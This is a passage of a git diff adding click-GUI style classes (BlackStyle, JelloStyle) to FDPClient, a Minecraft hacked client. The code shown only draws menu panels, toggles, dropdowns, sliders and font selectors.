Fonts.font35.drawString("§c" + LanguageManager.INSTANCE.get(text.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), yPos + 4, 0xffffff); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if (Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + yPos += 12; + + for (final String valueOfList : listValue.getValues()) { + final float textWidth2 = Fonts.font35.getStringWidth(">" + valueOfList); + + if (moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, new Color(26, 26, 26).getRGB()); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + + moduleElement.getSettingsWidth() && mouseY >= yPos + 2 && mouseY <= yPos + 14) { + if (Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(">", moduleElement.getX() + + moduleElement.getWidth() + 6, yPos + 4, Integer.MAX_VALUE); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(valueOfList.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 14, + yPos + 4, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? guiColor : Integer.MAX_VALUE); + yPos += 12; + } + } + } else if (value instanceof FloatValue) { + FloatValue floatValue = (FloatValue) value; + String text = value.getName() + "§f: §c" + round(floatValue.get()); + float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, + moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, new Color(26, 26, 26).getRGB()); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, + moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * + (floatValue.get() - floatValue.getMinimum()) / (floatValue.getMaximum() - floatValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, + guiColor); + + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4 && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if (Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / ( + moduleElement.getSettingsWidth() - 12), 0, 1); + floatValue.set(round((float) (floatValue.getMinimum() + (floatValue.getMaximum() - floatValue.getMinimum()) * i)).floatValue()); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + } else if (value instanceof IntegerValue) { + IntegerValue integerValue = (IntegerValue) value; + String text = value.getName() + "§f: §c" + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 24, new Color(26, 26, 26).getRGB()); + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 8, yPos + 18, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth() - 4, yPos + 19, Integer.MAX_VALUE); + float sliderValue = moduleElement.getX() + moduleElement.getWidth() + ((moduleElement.getSettingsWidth() - 12) * + (integerValue.get() - integerValue.getMinimum()) / (integerValue.getMaximum() - integerValue.getMinimum())); + RenderUtils.drawRect(8 + sliderValue, yPos + 15, sliderValue + 11, yPos + 21, guiColor); + if (mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + + moduleElement.getSettingsWidth() && mouseY >= yPos + 15 && mouseY <= yPos + 21) { + if (Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double((mouseX - moduleElement.getX() - moduleElement.getWidth() - 8) / + (moduleElement.getSettingsWidth() - 12), 0, 1); + integerValue.set((int) (integerValue.getMinimum() + (integerValue.getMaximum() - integerValue.getMinimum()) * i)); + } + } + + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 22; + } else if (value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, new Color(26, 26, 26).getRGB()); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + } else if (fontRenderer == Fonts.font35) + displayString = "Font: FONT35"; + else { + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if (objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(displayString.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, Color.WHITE.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(displayString.replaceAll("%",""))); + + if (moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if ((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= yPos + 4 && mouseY <= yPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if (Mouse.isButtonDown(0)) { + for (int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i++; + + if (i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + } else { + for (int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if (font == fontRenderer) { + i--; + + if (i >= fonts.size()) + i = 0; + + if (i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + yPos += 11; + } else { + String text = value.getName() + "§f: §c" + value.get(); + float textWidth = Fonts.font35.getStringWidth(text); + + if (moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + RenderUtils.drawRect(moduleElement.getX() + moduleElement.getWidth() + 4, yPos + 2, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 14, new Color(26, 26, 26).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), moduleElement.getX() + moduleElement.getWidth() + 6, yPos + 4, 0xffffff); + yPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + + if (moduleElement.getSettingsWidth() > 0F && yPos > moduleElement.getY() + 4) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + + moduleElement.getWidth() + moduleElement.getSettingsWidth(), yPos + 2, 1F, new Color(26, 26, 26).getRGB(), 0); + } + } + } + + private BigDecimal round(final float f) { + BigDecimal bd = new BigDecimal(Float.toString(f)); + bd = bd.setScale(2, 4); + return bd; + } + + private Color hoverColor(final Color color, final int hover) { + final int r = color.getRed() - (hover * 2); + final int g = color.getGreen() - (hover * 2); + final int b = color.getBlue() - (hover * 2); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/BlackStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/BlackStyle.java new file mode 100644 index 0000000..32534d1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/BlackStyle.java @@ -0,0 +1,291 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + +public class BlackStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() - 3, (float) panel.getX() + panel.getWidth(), (float) panel.getY() + 17, 3, new Color(20, 20, 20).getRGB(), new Color(20,20,20).getRGB()); + if(panel.getFade() > 0) { + RenderUtils.drawBorderedRect((float) panel.getX(), (float) panel.getY() + 17, (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade(), 3, new Color(40,40,40).getRGB(), new Color(40,40,40).getRGB()); + RenderUtils.drawBorderedRect((float) panel.getX(), panel.getY() + 17 + panel.getFade(), (float) panel.getX() + panel.getWidth(), panel.getY() + 19 + panel.getFade() + 5, 3, new Color(20,20,20).getRGB(), new Color(20,20,20).getRGB()); + } + GlStateManager.resetColor(); + float textWidth = Fonts.font35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), (int) (panel.getX() - (textWidth - 100.0F) / 2F), panel.getY() + 7 - 3, Color.WHITE.getRGB()); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 3F, new Color(40,40,40).getRGB(), new Color(40,40,40).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Color.WHITE.getRGB()); + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() - 1, buttonElement.getX() + buttonElement.getWidth() + 1, buttonElement.getY() + buttonElement.getHeight() + 1, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE ? new Color(20,20,20) : new Color(40,40,40), buttonElement.hoverTime).getRGB()); + + GlStateManager.resetColor(); + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 5, buttonElement.getY() + 5, Color.WHITE.getRGB()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(40,40,40), moduleElement.hoverTime).getRGB()); + Gui.drawRect(moduleElement.getX() - 1, moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth() + 1, moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(20,20,20, moduleElement.slowlyFade), moduleElement.hoverTime).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 5, moduleElement.getY() + 5, Color.WHITE.getRGB()); + + // Draw settings + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if(!moduleValues.isEmpty()) { + Fonts.font35.drawString(">", moduleElement.getX() + moduleElement.getWidth() - 8, moduleElement.getY() + 5, Color.WHITE.getRGB()); + + if(moduleElement.isShowSettings()) { + if(moduleElement.getSettingsWidth() > 0F && moduleElement.slowlySettingsYPos > moduleElement.getY() + 6) + RenderUtils.drawBorderedRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), moduleElement.slowlySettingsYPos + 2, 3F, new Color(40,40,40).getRGB(), new Color(40,40,40).getRGB()); + + moduleElement.slowlySettingsYPos = moduleElement.getY() + 6; + for(final Value value : moduleValues) { + if(!value.getDisplayable()) + continue; + + if(value instanceof BoolValue) { + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + final BoolValue boolValue = (BoolValue) value; + + boolValue.set(!boolValue.get()); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, ((BoolValue) value).get() ? Color.WHITE.getRGB() : Integer.MAX_VALUE); + moduleElement.slowlySettingsYPos += 11; + }else if(value instanceof ListValue) { + final ListValue listValue = (ListValue) value; + + final String text = value.getName(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 16) + moduleElement.setSettingsWidth(textWidth + 16); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, 0xffffff); + Fonts.font35.drawString(listValue.openList ? "-" : "+", (int) (moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() - (listValue.openList ? 5 : 6)), moduleElement.slowlySettingsYPos + 2, 0xffffff); + + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + Fonts.font35.getHeight() && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.openList = !listValue.openList; + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + moduleElement.slowlySettingsYPos += Fonts.font35.getHeight() + 1; + + for(final String valueOfList : listValue.getValues()) { + final float textWidth2 =Fonts.font35.getStringWidth("> " + valueOfList); + + if(moduleElement.getSettingsWidth() < textWidth2 + 12) + moduleElement.setSettingsWidth(textWidth2 + 12); + + if (listValue.openList) { + if(mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos + 2 && mouseY <= moduleElement.slowlySettingsYPos + 14 && Mouse.isButtonDown(0) && moduleElement.isntPressed()) { + listValue.set(valueOfList); + mc.getSoundHandler().playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0F)); + } + + GlStateManager.resetColor(); + Fonts.font35.drawString("> " + valueOfList, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, listValue.get() != null && listValue.get().equalsIgnoreCase(valueOfList) ? Color.WHITE.getRGB() : Integer.MAX_VALUE); + moduleElement.slowlySettingsYPos += Fonts.font35.getHeight() + 1; + } + } + + if (!listValue.openList) { + moduleElement.slowlySettingsYPos += 1; + } + }else if(value instanceof FloatValue) { + final FloatValue floatValue = (FloatValue) value; + final String text = value.getName() + "§f: " + round(floatValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(floatValue.get(), floatValue.getMinimum(), floatValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(20,20,20)); + + if(valueOfSlide != floatValue.get()) + floatValue.set(valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xffffff); + moduleElement.slowlySettingsYPos += 19; + }else if(value instanceof IntegerValue) { + final IntegerValue integerValue = (IntegerValue) value; + final String text = value.getName() + "§f: " + (value instanceof BlockValue ? BlockUtils.getBlockName(integerValue.get()) + " (" + integerValue.get() + ")" : integerValue.get()); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + final float valueOfSlide = drawSlider(integerValue.get(), integerValue.getMinimum(), integerValue.getMaximum(), moduleElement.getX() + moduleElement.getWidth() + 8, moduleElement.slowlySettingsYPos + 14, (int) moduleElement.getSettingsWidth() - 12, mouseX, mouseY, new Color(20,20,20)); + + if(valueOfSlide != integerValue.get()) + integerValue.set((int) valueOfSlide); + + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 3, 0xffffff); + moduleElement.slowlySettingsYPos += 19; + }else if(value instanceof FontValue) { + final FontValue fontValue = (FontValue) value; + final FontRenderer fontRenderer = fontValue.get(); + + String displayString = "Font: Unknown"; + + if (fontRenderer instanceof GameFontRenderer) { + final GameFontRenderer liquidFontRenderer = (GameFontRenderer) fontRenderer; + + displayString = "Font: " + liquidFontRenderer.getDefaultFont().getFont().getName() + " - " + liquidFontRenderer.getDefaultFont().getFont().getSize(); + }else if(fontRenderer == Fonts.minecraftFont) + displayString = "Font: Minecraft"; + else{ + final Object[] objects = Fonts.getFontDetails(fontRenderer); + + if(objects != null) { + displayString = objects[0] + ((int) objects[1] != -1 ? " - " + objects[1] : ""); + } + } + + Fonts.font35.drawString(displayString, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 2, Color.WHITE.getRGB()); + int stringWidth = Fonts.font35.getStringWidth(displayString); + + if(moduleElement.getSettingsWidth() < stringWidth + 8) + moduleElement.setSettingsWidth(stringWidth + 8); + + if((Mouse.isButtonDown(0) && !mouseDown || Mouse.isButtonDown(1) && !rightMouseDown) && mouseX >= moduleElement.getX() + moduleElement.getWidth() + 4 && mouseX <= moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth() && mouseY >= moduleElement.slowlySettingsYPos && mouseY <= moduleElement.slowlySettingsYPos + 12) { + final List<FontRenderer> fonts = Fonts.getFonts(); + + if(Mouse.isButtonDown(0)) { + for(int i = 0; i < fonts.size(); i++) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i++; + + if(i >= fonts.size()) + i = 0; + + fontValue.set(fonts.get(i)); + break; + } + } + }else{ + for(int i = fonts.size() - 1; i >= 0; i--) { + final FontRenderer font = fonts.get(i); + + if(font == fontRenderer) { + i--; + + if(i >= fonts.size()) + i = 0; + + if(i < 0) + i = fonts.size() - 1; + + fontValue.set(fonts.get(i)); + break; + } + } + } + } + + moduleElement.slowlySettingsYPos += 11; + }else{ + final String text = value.getName() + "§f: " + value.get(); + final float textWidth = Fonts.font35.getStringWidth(text); + + if(moduleElement.getSettingsWidth() < textWidth + 8) + moduleElement.setSettingsWidth(textWidth + 8); + + GlStateManager.resetColor(); + Fonts.font35.drawString(text, moduleElement.getX() + moduleElement.getWidth() + 6, moduleElement.slowlySettingsYPos + 4, 0xffffff); + moduleElement.slowlySettingsYPos += 12; + } + } + + moduleElement.updatePressed(); + mouseDown = Mouse.isButtonDown(0); + rightMouseDown = Mouse.isButtonDown(1); + } + } + } + + private BigDecimal round(final float v) { + BigDecimal bigDecimal = new BigDecimal(Float.toString(v)); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal; + } + + private Color hoverColor(final Color color, final int hover) { + final int r = color.getRed() - (hover * 2); + final int g = color.getGreen() - (hover * 2); + final int b = color.getBlue() - (hover * 2); + + return new Color(Math.max(r, 0), Math.max(g, 0), Math.max(b, 0), color.getAlpha()); + } + + public static float drawSlider(final float value, final float min, final float max, final int x, final int y, final int width, final int mouseX, final int mouseY, final Color color) { + final float displayValue = Math.max(min, Math.min(value, max)); + + final float sliderValue = (float) x + (float) width * (displayValue - min) / (max - min); + + RenderUtils.drawRect(x, y, x + width, y + 2, Integer.MAX_VALUE); + RenderUtils.drawRect(x, y, sliderValue, y + 2, color); + RenderUtils.drawFilledCircle((int) sliderValue, y + 1, 3, color); + + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 3 && Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double(((double) mouseX - (double) x) / ((double) width - 3), 0, 1); + + BigDecimal bigDecimal = new BigDecimal(Double.toString((min + (max - min) * i))); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal.floatValue(); + } + + return value; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/JelloStyle.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/JelloStyle.java new file mode 100644 index 0000000..4f11a7e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/JelloStyle.java @@ -0,0 +1,296 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer; +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager; +import net.ccbluex.liquidbounce.utils.block.BlockUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.*; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.StringUtils; +import org.lwjgl.input.Mouse; + +import java.awt.*; +import java.math.BigDecimal; +import java.util.List; + + +public class JelloStyle extends Style { + + private boolean mouseDown; + private boolean rightMouseDown; + + public static float drawSlider(final float value, final float min, final float max, final int x, final int y, final int width, final int mouseX, final int mouseY, final Color color) { + final float displayValue = Math.max(min, Math.min(value, max)); + + final float sliderValue = (float) x + (float) width * (displayValue - min) / (max - min); + + RenderUtils.drawRect(x, y, x + width, y + 2, Integer.MAX_VALUE); + RenderUtils.drawRect(x, y, sliderValue, y + 2, color); + RenderUtils.drawFilledCircle((int) sliderValue, y + 1, 3, color); + + if (mouseX >= x && mouseX <= x + width && mouseY >= y && mouseY <= y + 3 && Mouse.isButtonDown(0)) { + double i = MathHelper.clamp_double(((double) mouseX - (double) x) / ((double) width - 3), 0, 1); + + BigDecimal bigDecimal = new BigDecimal(Double.toString((min + (max - min) * i))); + bigDecimal = bigDecimal.setScale(2, 4); + return bigDecimal.floatValue(); + } + + return value; + } + + @Override + public void drawPanel(int mouseX, int mouseY, Panel panel) { + RenderUtils.newDrawRect((float) panel.getX(), (float) panel.getY() + 16, (float) panel.getX() + panel.getWidth(), (float) panel.getY() -16, new Color(231,229,230).getRGB()); + RenderUtils.newDrawRect((float) panel.getX(), (float) panel.getY() - 3, (float) panel.getX() + panel.getWidth(), (float) panel.getY() + 15, new Color(231,229,230).getRGB()); + GlStateManager.resetColor(); + float textWidth = Fonts.font35.getStringWidth("§f" + StringUtils.stripControlCodes(LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")))); + FontLoaders.JELLO30.DisplayFont(FontLoaders.JELLO30, LanguageManager.INSTANCE.get(panel.getName().replaceAll("%","")), panel.getX() + 10, panel.getY() - 6, new Color(116,114,115).getRGB()); + } + + @Override + public void drawDescription(int mouseX, int mouseY, String text) { + /* + int textWidth = Fonts.font35.getStringWidth(LanguageManager.INSTANCE.get(text.replaceAll("%",""))); + + RenderUtils.drawBorderedRect(mouseX + 9, mouseY, mouseX + textWidth + 14, mouseY + Fonts.font35.FONT_HEIGHT + 3, 3F, new Color(217, 217, 217).getRGB(), new Color(217, 217, 217).getRGB()); + GlStateManager.resetColor(); + Fonts.font35.drawString(LanguageManager.INSTANCE.get(text.replaceAll("%","")), mouseX + 12, mouseY + (Fonts.font35.FONT_HEIGHT / 2), Color.BLACK.getRGB()); + */ + } + + @Override + public void drawButtonElement(int mouseX, int mouseY, ButtonElement buttonElement) { + Gui.drawRect(buttonElement.getX() - 1, buttonElement.getY() - 1, buttonElement.getX() + buttonElement.getWidth() + 1, buttonElement.getY() + buttonElement.getHeight() + 1, hoverColor(buttonElement.getColor() != Integer.MAX_VALUE ? new Color(14, 159, 255) : new Color(217,217,217)).getRGB()); + + GlStateManager.resetColor(); + + Fonts.font35.drawString(LanguageManager.INSTANCE.get(buttonElement.getDisplayName().replaceAll("%","")), buttonElement.getX() + 5, buttonElement.getY() + 5, Color.BLACK.getRGB()); + } + + @Override + public void drawModuleElement(int mouseX, int mouseY, ModuleElement moduleElement) { + Gui.drawRect(moduleElement.getX(), moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth(), moduleElement.getY() + moduleElement.getHeight() + 1, new Color(250,250,250).getRGB()); + Gui.drawRect(moduleElement.getX(), moduleElement.getY() - 1, moduleElement.getX() + moduleElement.getWidth(), moduleElement.getY() + moduleElement.getHeight() + 1, hoverColor(new Color(100,165,241, moduleElement.slowlyFade)).getRGB()); + GlStateManager.resetColor(); + int colour = 0; + if(moduleElement.getModule().getState() == true){ + FontLoaders.JELLO20.DisplayFont(FontLoaders.JELLO20, " " + LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 5, moduleElement.getY() + 3, Color.WHITE.getRGB()); + } else { + FontLoaders.JELLO20.DisplayFont(FontLoaders.JELLO20," " + LanguageManager.INSTANCE.get(moduleElement.getDisplayName().replaceAll("%","")), moduleElement.getX() + 5, moduleElement.getY() + 3, Color.BLACK.getRGB()); + } + + // Draw settings + final List<Value<?>> moduleValues = moduleElement.getModule().getValues(); + + if (!moduleValues.isEmpty()) { + + if (moduleElement.isShowSettings()) { + if (moduleElement.getSettingsWidth() > 0F && moduleElement.slowlySettingsYPos > moduleElement.getY() + 6) + RenderUtils.newDrawRect(moduleElement.getX() + moduleElement.getWidth() + 4, moduleElement.getY() + 6, moduleElement.getX() + moduleElement.getWidth() + moduleElement.getSettingsWidth(), moduleElement.slowlySettingsYPos + 2, 